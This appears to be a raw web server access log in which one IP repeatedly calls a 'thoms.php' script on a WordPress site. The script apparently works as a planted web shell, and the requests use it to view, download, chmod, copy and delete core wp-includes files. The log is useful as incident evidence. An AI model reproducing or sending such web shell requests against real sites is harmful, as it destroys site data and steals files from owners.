45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 200 13069 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 200 21019 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?chmod=pluggable.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?dl=default-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59186 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 200 44436 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /bossini.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11556 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?del=blocks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 58961 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?chmod=ms-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 200 12327 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?dl=comment-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59173 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:08 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11834 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /bossini.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 200 14330 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /bossini.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 200 13186 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:09 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 200 12513 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 200 12320 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?del=class-wp-user.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcomment-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcomment-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?chmod=default-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 200 19824 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /thoms.php?chmod=l10n.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:10 -0400] "GET /bossini.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 200 12326 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /bossini.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 200 12033 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /bossini.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 200 12121 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /bossini.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?chmod=kses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?del=ms-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 200 95686 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?del=locale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=locale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:11 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 200 16585 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /bossini.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 200 39868 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?chmod=view-config.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 200 12840 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 200 17942 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?del=style-engine.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:12 -0400] "GET /thoms.php?del=wp-db.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59150 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:13 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:13 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:13 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:13 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:13 -0400] "GET /thoms.php?dl=error_log&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?chmod=style-engine&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:13 -0400] "GET /thoms.php?del=kses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=kses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 200 12199 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 13340 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
